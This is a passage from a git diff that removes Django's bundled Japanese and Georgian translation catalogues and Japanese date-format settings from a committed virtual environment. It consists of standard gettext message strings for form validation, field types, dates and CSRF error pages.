HH:MM[:ss[.uuuuuu]][TZ]) の値ですが、無" -"効な日時です。" - -msgid "Date (with time)" -msgstr "日時" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” は10進浮動小数値にしなければなりません。" - -msgid "Decimal number" -msgstr "10 進数 (小数可)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” は無効な形式の値です。 [DD] [HH:[MM:]]ss[.uuuuuu] 形式でなければ" -"なりません。" - -msgid "Duration" -msgstr "時間差分" - -msgid "Email address" -msgstr "メールアドレス" - -msgid "File path" -msgstr "ファイルの場所" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” は小数値にしなければなりません。" - -msgid "Floating point number" -msgstr "浮動小数点" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” は整数値にしなければなりません。" - -msgid "Integer" -msgstr "整数" - -msgid "Big (8 byte) integer" -msgstr "大きな(8バイト)整数" - -msgid "Small integer" -msgstr "小さな整数" - -msgid "IPv4 address" -msgstr "IPv4アドレス" - -msgid "IP address" -msgstr "IP アドレス" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” は None、True または False の値でなければなりません。" - -msgid "Boolean (Either True, False or None)" -msgstr "ブール値 (真: True 、偽: False または None)" - -msgid "Positive big integer" -msgstr "正の多倍長整数" - -msgid "Positive integer" -msgstr "正の整数" - -msgid "Positive small integer" -msgstr "小さな正の整数" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "スラグ(%(max_length)s文字以内)" - -msgid "Text" -msgstr "テキスト" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” は無効な形式の値です。 HH:MM[:ss[.uuuuuu]] 形式でなければなりませ" -"ん。" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "“%(value)s” は正しい形式(HH:MM[:ss[.uuuuuu]])ですが、無効な時刻です。" - -msgid "Time" -msgstr "時刻" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "生のバイナリデータ" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” は有効なUUIDではありません。" - -msgid "Universally unique identifier" -msgstr "汎用一意識別子" - -msgid "File" -msgstr "ファイル" - -msgid "Image" -msgstr "画像" - -msgid "A JSON object" -msgstr "JSONオブジェクト" - -msgid "Value must be valid JSON." -msgstr "JSONとして正しい値にしてください。" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(field)s が %(value)r である %(model)s のインスタンスは存在しません。" - -msgid "Foreign Key (type determined by related field)" -msgstr "外部キー(型は関連フィールドによって決まります)" - -msgid "One-to-one relationship" -msgstr "1対1の関連" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s の関連" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s の関連" - -msgid "Many-to-many relationship" -msgstr "多対多の関連" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "このフィールドは必須です。" - -msgid "Enter a whole number." -msgstr "整数を入力してください。" - -msgid "Enter a valid date." -msgstr "日付を正しく入力してください。" - -msgid "Enter a valid time." -msgstr "時間を正しく入力してください。" - -msgid "Enter a valid date/time." -msgstr "日時を正しく入力してください。" - -msgid "Enter a valid duration." -msgstr "時間差分を正しく入力してください。" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "日数は{min_days}から{max_days}の間でなければなりません。" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"ファイルが取得できませんでした。フォームのencoding typeを確認してください。" - -msgid "No file was submitted." -msgstr "ファイルが送信されていません。" - -msgid "The submitted file is empty." -msgstr "入力されたファイルは空です。" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"このファイル名は %(max)d 文字以下でなければなりません( %(length)d 文字になっ" -"ています)。" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"ファイルを投稿するか、クリアチェックボックスをチェックするかどちらかを選択し" -"てください。両方とも行ってはいけません。" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"画像をアップロードしてください。アップロードしたファイルは画像でないか、また" -"は壊れています。" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "正しく選択してください。 %(value)s は候補にありません。" - -msgid "Enter a list of values." -msgstr "リストを入力してください。" - -msgid "Enter a complete value." -msgstr "すべての値を入力してください。" - -msgid "Enter a valid UUID." -msgstr "UUIDを正しく入力してください。" - -msgid "Enter a valid JSON." -msgstr "JSONを正しく入力してください。" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(隠しフィールド %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm のデータが不足しているか改竄されています。不足するフィールドの" -"数: %(field_names)s 。問題が続くようならバグレポートを出す必要があるかもしれ" -"ません。" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "最大で %(num)d 個のフォームを送信してください。" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "少なくとも %(num)d 個のフォームを送信してください。" - -msgid "Order" -msgstr "並び変え" - -msgid "Delete" -msgstr "削除" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s の重複したデータを修正してください。" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"%(field)s の重複したデータを修正してください。このフィールドはユニークである" -"必要があります。" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s の重複したデータを修正してください。%(date_field)s %(lookup)s " -"では %(field_name)s がユニークである必要があります。" - -msgid "Please correct the duplicate values below." -msgstr "下記の重複したデータを修正してください。" - -msgid "The inline value did not match the parent instance." -msgstr "インライン値が親のインスタンスに一致しません。" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "正しく選択してください。選択したものは候補にありません。" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” は無効な値です。" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s は %(current_timezone)s のタイムゾーンでは解釈できませんでした。" -"それは曖昧であるか、存在しない可能性があります。" - -msgid "Clear" -msgstr "クリア" - -msgid "Currently" -msgstr "現在" - -msgid "Change" -msgstr "変更" - -msgid "Unknown" -msgstr "不明" - -msgid "Yes" -msgstr "はい" - -msgid "No" -msgstr "いいえ" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "はい,いいえ,たぶん" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d バイト" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "0時" - -msgid "noon" -msgstr "12時" - -msgid "Monday" -msgstr "月曜日" - -msgid "Tuesday" -msgstr "火曜日" - -msgid "Wednesday" -msgstr "水曜日" - -msgid "Thursday" -msgstr "木曜日" - -msgid "Friday" -msgstr "金曜日" - -msgid "Saturday" -msgstr "土曜日" - -msgid "Sunday" -msgstr "日曜日" - -msgid "Mon" -msgstr "月" - -msgid "Tue" -msgstr "火" - -msgid "Wed" -msgstr "水" - -msgid "Thu" -msgstr "木" - -msgid "Fri" -msgstr "金" - -msgid "Sat" -msgstr "土" - -msgid "Sun" -msgstr "日" - -msgid "January" -msgstr "1月" - -msgid "February" -msgstr "2月" - -msgid "March" -msgstr "3月" - -msgid "April" -msgstr "4月" - -msgid "May" -msgstr "5月" - -msgid "June" -msgstr "6月" - -msgid "July" -msgstr "7月" - -msgid "August" -msgstr "8月" - -msgid "September" -msgstr "9月" - -msgid "October" -msgstr "10月" - -msgid "November" -msgstr "11月" - -msgid "December" -msgstr "12月" - -msgid "jan" -msgstr "1月" - -msgid "feb" -msgstr "2月" - -msgid "mar" -msgstr "3月" - -msgid "apr" -msgstr "4月" - -msgid "may" -msgstr "5月" - -msgid "jun" -msgstr "6月" - -msgid "jul" -msgstr "7月" - -msgid "aug" -msgstr "8月" - -msgid "sep" -msgstr "9月" - -msgid "oct" -msgstr "10月" - -msgid "nov" -msgstr "11月" - -msgid "dec" -msgstr "12月" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "1月" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "2月" - -msgctxt "abbrev. month" -msgid "March" -msgstr "3月" - -msgctxt "abbrev. month" -msgid "April" -msgstr "4月" - -msgctxt "abbrev. month" -msgid "May" -msgstr "5月" - -msgctxt "abbrev. month" -msgid "June" -msgstr "6月" - -msgctxt "abbrev. month" -msgid "July" -msgstr "7月" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "8月" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "9月" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "10月" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "11月" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "12月" - -msgctxt "alt. month" -msgid "January" -msgstr "1月" - -msgctxt "alt. month" -msgid "February" -msgstr "2月" - -msgctxt "alt. month" -msgid "March" -msgstr "3月" - -msgctxt "alt. month" -msgid "April" -msgstr "4月" - -msgctxt "alt. month" -msgid "May" -msgstr "5月" - -msgctxt "alt. month" -msgid "June" -msgstr "6月" - -msgctxt "alt. month" -msgid "July" -msgstr "7月" - -msgctxt "alt. month" -msgid "August" -msgstr "8月" - -msgctxt "alt. month" -msgid "September" -msgstr "9月" - -msgctxt "alt. month" -msgid "October" -msgstr "10月" - -msgctxt "alt. month" -msgid "November" -msgstr "11月" - -msgctxt "alt. month" -msgid "December" -msgstr "12月" - -msgid "This is not a valid IPv6 address." -msgstr "これは有効なIPv6アドレスではありません。" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "または" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d年" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)dヶ月" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d週間" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d日" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d時間" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d分" - -msgid "Forbidden" -msgstr "アクセス禁止" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF検証に失敗したため、リクエストは中断されました。" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"このメッセージが表示されている理由は、このHTTPSのサイトはウェブブラウザからリ" -"ファラーヘッダが送信されることを必須としていますが、送信されなかったためで" -"す。このヘッダはセキュリティ上の理由(使用中のブラウザが第三者によってハイ" -"ジャックされていないことを確認するため)で必要です。" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"もしブラウザのリファラーヘッダを無効に設定しているならば、HTTPS接続やsame-" -"originリクエストのために、少なくともこのサイトでは再度有効にしてください。" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"もし タグを使用しているか " -"“Referrer-Policy: no-referrer” ヘッダを含んでいる場合は削除してください。" -"CSRF プロテクションは、厳密に “Referer” ヘッダが必要です。プライバシーが気に" -"なる場合は などの代替で第三者サイトと接続してくださ" -"い。" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"このメッセージが表示されている理由は、このサイトはフォーム送信時にCSRFクッ" -"キーを必須としているためです。このクッキーはセキュリティ上の理由(使用中のブラ" -"ウザが第三者によってハイジャックされていないことを確認するため)で必要です。" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"もしブラウザのクッキーを無効に設定しているならば、same-originリクエストのため" -"に少なくともこのサイトでは再度有効にしてください。" - -msgid "More information is available with DEBUG=True." -msgstr "詳細な情報は DEBUG=True を設定すると利用できます。" - -msgid "No year specified" -msgstr "年が未指定です" - -msgid "Date out of range" -msgstr "日付が有効範囲外です" - -msgid "No month specified" -msgstr "月が未指定です" - -msgid "No day specified" -msgstr "日が未指定です" - -msgid "No week specified" -msgstr "週が未指定です" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s は利用できません" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(class_name)s.allow_futureがFalseであるため、未来の%(verbose_name_plural)sは" -"利用できません。" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "指定された形式 “%(format)s” では “%(datestr)s” は無効な日付文字列です" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "クエリーに一致する %(verbose_name)s は見つかりませんでした" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "ページが 「最後」ではないか、数値に変換できる値ではありません。" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "無効なページです (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "空の一覧かつ “%(class_name)s.allow_empty” が False です。" - -msgid "Directory indexes are not allowed here." -msgstr "ここではディレクトリインデックスが許可されていません。" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” が存在しません" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)sのディレクトリインデックス" - -msgid "The install worked successfully! Congratulations!" -msgstr "インストールは成功しました!おめでとうございます!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Django%(version)sのリリースノートを見る。" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"このページは、設定ファイルでDEBUG=Trueが指定され、何もURLが設定されていない時に表示" -"されます。" - -msgid "Django Documentation" -msgstr "Django ドキュメント" - -msgid "Topics, references, & how-to’s" -msgstr "トピック、リファレンス、ハウツー" - -msgid "Tutorial: A Polling App" -msgstr "チュートリアル: 投票アプリケーション" - -msgid "Get started with Django" -msgstr "Djangoを始めよう" - -msgid "Django Community" -msgstr "Djangoのコミュニティ" - -msgid "Connect, get help, or contribute" -msgstr "つながり、助け合い、貢献しよう" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ja/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ja/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ja/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ja/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index ce7579f2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ja/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ja/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ja/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 0345de30..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ja/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ja/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ja/formats.py deleted file mode 100644 index c0554d9f..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ja/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "Y年n月j日" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "Y年n月j日G:i" -YEAR_MONTH_FORMAT = "Y年n月" -MONTH_DAY_FORMAT = "n月j日" -SHORT_DATE_FORMAT = "Y/m/d" -SHORT_DATETIME_FORMAT = "Y/m/d G:i" -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ka/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ka/LC_MESSAGES/django.mo deleted file mode 100644 index 7cdc3c59..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ka/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ka/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ka/LC_MESSAGES/django.po deleted file mode 100644 index 1f342b9b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ka/LC_MESSAGES/django.po +++ /dev/null @@ -1,1239 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# André Bouatchidzé , 2013-2015 -# David A. , 2019 -# David A. , 2011 -# Jannis Leidel , 2011 -# Tornike Beradze , 2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Georgian (http://www.transifex.com/django/django/language/" -"ka/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ka\n" -"Plural-Forms: nplurals=2; plural=(n!=1);\n" - -msgid "Afrikaans" -msgstr "აფრიკაანსი" - -msgid "Arabic" -msgstr "არაბული" - -msgid "Asturian" -msgstr "ასტურიული" - -msgid "Azerbaijani" -msgstr "აზერბაიჯანული" - -msgid "Bulgarian" -msgstr "ბულგარული" - -msgid "Belarusian" -msgstr "ბელარუსული" - -msgid "Bengali" -msgstr "ბენგალიური" - -msgid "Breton" -msgstr "ბრეტონული" - -msgid "Bosnian" -msgstr "ბოსნიური" - -msgid "Catalan" -msgstr "კატალანური" - -msgid "Czech" -msgstr "ჩეხური" - -msgid "Welsh" -msgstr "უელსური" - -msgid "Danish" -msgstr "დანიური" - -msgid "German" -msgstr "გერმანული" - -msgid "Lower Sorbian" -msgstr "ქვემო სორბული" - -msgid "Greek" -msgstr "ბერძნული" - -msgid "English" -msgstr "ინგლისური" - -msgid "Australian English" -msgstr "ავსტრალიური ინგლისური" - -msgid "British English" -msgstr "ბრიტანეთის ინგლისური" - -msgid "Esperanto" -msgstr "ესპერანტო" - -msgid "Spanish" -msgstr "ესპანური" - -msgid "Argentinian Spanish" -msgstr "არგენტინის ესპანური" - -msgid "Colombian Spanish" -msgstr "კოლუმბიური ესპანური" - -msgid "Mexican Spanish" -msgstr "მექსიკური ესპანური" - -msgid "Nicaraguan Spanish" -msgstr "ნიკარაგუული ესპანური" - -msgid "Venezuelan Spanish" -msgstr "ვენესუელის ესპანური" - -msgid "Estonian" -msgstr "ესტონური" - -msgid "Basque" -msgstr "ბასკური" - -msgid "Persian" -msgstr "სპარსული" - -msgid "Finnish" -msgstr "ფინური" - -msgid "French" -msgstr "ფრანგული" - -msgid "Frisian" -msgstr "ფრისიული" - -msgid "Irish" -msgstr "ირლანდიური" - -msgid "Scottish Gaelic" -msgstr "შოტლანდიური-გელური" - -msgid "Galician" -msgstr "გალიციური" - -msgid "Hebrew" -msgstr "ებრაული" - -msgid "Hindi" -msgstr "ჰინდი" - -msgid "Croatian" -msgstr "ხორვატიული" - -msgid "Upper Sorbian" -msgstr "ზემო სორბიული" - -msgid "Hungarian" -msgstr "უნგრული" - -msgid "Armenian" -msgstr "სომხური" - -msgid "Interlingua" -msgstr "ინტერლინგუა" - -msgid "Indonesian" -msgstr "ინდონეზიური" - -msgid "Ido" -msgstr "იდო" - -msgid "Icelandic" -msgstr "ისლანდიური" - -msgid "Italian" -msgstr "იტალიური" - -msgid "Japanese" -msgstr "იაპონური" - -msgid "Georgian" -msgstr "ქართული" - -msgid "Kabyle" -msgstr "კაბილური" - -msgid "Kazakh" -msgstr "ყაზახური" - -msgid "Khmer" -msgstr "ხმერული" - -msgid "Kannada" -msgstr "კანნადა" - -msgid "Korean" -msgstr "კორეული" - -msgid "Luxembourgish" -msgstr "ლუქსემბურგული" - -msgid "Lithuanian" -msgstr "ლიტვური" - -msgid "Latvian" -msgstr "ლატვიური" - -msgid "Macedonian" -msgstr "მაკედონიური" - -msgid "Malayalam" -msgstr "მალაიზიური" - -msgid "Mongolian" -msgstr "მონღოლური" - -msgid "Marathi" -msgstr "მარათული" - -msgid "Burmese" -msgstr "ბირმული" - -msgid "Norwegian Bokmål" -msgstr "ნორვეგიული Bokmål" - -msgid "Nepali" -msgstr "ნეპალური" - -msgid "Dutch" -msgstr "ჰოლანდიური" - -msgid "Norwegian Nynorsk" -msgstr "ნორვეგიული-ნინორსკი" - -msgid "Ossetic" -msgstr "ოსური" - -msgid "Punjabi" -msgstr "პუნჯაბი" - -msgid "Polish" -msgstr "პოლონური" - -msgid "Portuguese" -msgstr "პორტუგალიური" - -msgid "Brazilian Portuguese" -msgstr "ბრაზილიური პორტუგალიური" - -msgid "Romanian" -msgstr "რუმინული" - -msgid "Russian" -msgstr "რუსული" - -msgid "Slovak" -msgstr "სლოვაკური" - -msgid "Slovenian" -msgstr "სლოვენიური" - -msgid "Albanian" -msgstr "ალბანური" - -msgid "Serbian" -msgstr "სერბული" - -msgid "Serbian Latin" -msgstr "სერბული (ლათინური)" - -msgid "Swedish" -msgstr "შვედური" - -msgid "Swahili" -msgstr "სუაჰილი" - -msgid "Tamil" -msgstr "თამილური" - -msgid "Telugu" -msgstr "ტელუგუ" - -msgid "Thai" -msgstr "ტაი" - -msgid "Turkish" -msgstr "თურქული" - -msgid "Tatar" -msgstr "თათრული" - -msgid "Udmurt" -msgstr "უდმურტული" - -msgid "Ukrainian" -msgstr "უკრაინული" - -msgid "Urdu" -msgstr "ურდუ" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "ვიეტნამური" - -msgid "Simplified Chinese" -msgstr "გამარტივებული ჩინური" - -msgid "Traditional Chinese" -msgstr "ტრადიციული ჩინური" - -msgid "Messages" -msgstr "შეტყობინებები" - -msgid "Site Maps" -msgstr "საიტის რუკები" - -msgid "Static Files" -msgstr "სტატიკური ფაილები" - -msgid "Syndication" -msgstr "სინდიკაცია" - -msgid "That page number is not an integer" -msgstr "გვერდის ნომერი არ არის მთელი რიცხვი" - -msgid "That page number is less than 1" -msgstr "გვერდის ნომერი ნაკლებია 1-ზე" - -msgid "That page contains no results" -msgstr "გვერდი არ შეიცავს მონაცემებს" - -msgid "Enter a valid value." -msgstr "შეიყვანეთ სწორი მნიშვნელობა." - -msgid "Enter a valid URL." -msgstr "შეიყვანეთ სწორი URL." - -msgid "Enter a valid integer." -msgstr "შეიყვანეთ სწორი მთელი რიცხვი." - -msgid "Enter a valid email address." -msgstr "შეიყვანეთ მართებული ელფოსტის მისამართი." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "შეიყვანეთ სწორი IPv4 მისამართი." - -msgid "Enter a valid IPv6 address." -msgstr "შეიყვანეთ მართებული IPv6 მისამართი." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "შეიყვანეთ მართებული IPv4 ან IPv6 მისამართი." - -msgid "Enter only digits separated by commas." -msgstr "შეიყვანეთ მხოლოდ მძიმეებით გამოყოფილი ციფრები." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "მნიშვნელობა უნდა იყოს %(limit_value)s (იგი არის %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "მნიშვნელობა უნდა იყოს %(limit_value)s-ზე ნაკლები ან ტოლი." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "მნიშვნელობა უნდა იყოს %(limit_value)s-ზე მეტი ან ტოლი." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"მნიშვნელობას უნდა ჰქონდეს სულ ცოტა %(limit_value)d სიმბოლო (მას აქვს " -"%(show_value)d)." -msgstr[1] "" -"მნიშვნელობას უნდა ჰქონდეს სულ ცოტა %(limit_value)d სიმბოლო (მას აქვს " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"მნიშვნელობას უნდა ჰქონდეს არაუმეტეს %(limit_value)d სიმბოლოსი (მას აქვს " -"%(show_value)d)." -msgstr[1] "" -"მნიშვნელობას უნდა ჰქონდეს არაუმეტეს %(limit_value)d სიმბოლოსი (მას აქვს " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "შეიყვანეთ რიცხვი." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "ციფრების სრული რაოდენობა %(max)s-ს არ უნდა აღემატებოდეს." -msgstr[1] "ციფრების სრული რაოდენობა %(max)s-ს არ უნდა აღემატებოდეს." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"ათობითი გამყოფის შემდეგ ციფრების რაოდენობა %(max)s-ს არ უნდა აღემატებოდეს." -msgstr[1] "" -"ათობითი გამყოფის შემდეგ ციფრების რაოდენობა %(max)s-ს არ უნდა აღემატებოდეს." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"ათობითი გამყოფის შემდეგ ციფრების რაოდენობა %(max)s-ს არ უნდა აღემატებოდეს." -msgstr[1] "" -"ათობითი გამყოფის წინ ციფრების რაოდენობა %(max)s-ს არ უნდა აღემატებოდეს." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Null მნიშვნელობები დაუშვებელია." - -msgid "and" -msgstr "და" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s ამ %(field_labels)s-ით უკვე არსებობს." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "მნიშვნელობა %(value)r არ არის დასაშვები." - -msgid "This field cannot be null." -msgstr "ეს ველი არ შეიძლება იყოს null." - -msgid "This field cannot be blank." -msgstr "ეს ველი არ შეიძლება იყოს ცარიელი." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s მოცემული %(field_label)s-ით უკვე არსებობს." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s უნდა იყოს უნიკალური %(date_field_label)s %(lookup_type)s-" -"სთვის." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "ველის ტიპი: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "ლოგიკური (True ან False)" - -#, python-format -msgid "String (up to 